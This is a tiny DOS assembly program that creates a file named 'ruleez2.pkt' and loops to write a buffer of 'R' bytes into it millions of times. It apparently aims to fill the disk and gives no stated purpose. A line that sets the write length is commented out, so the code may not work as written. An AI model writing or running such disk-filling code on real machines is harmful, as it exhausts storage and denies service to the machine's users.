.model small .code org 100h start: mov ah, 03ch mov cx, 0 mov dx, offset filename int 21h mov bx, ax mov dx, offset buf mov si, 0FFFFh mov di, 100; mov cx, 0ffh loop1: mov ah, 40h int 21h sub si, 1 jne loop1 mov si, 0ffffh sub di, 1 jne loop1 mov ah, 3eh int 21h int 20h filename db 'ruleez2.pkt',0 buf db 0FFh dup ('R') end start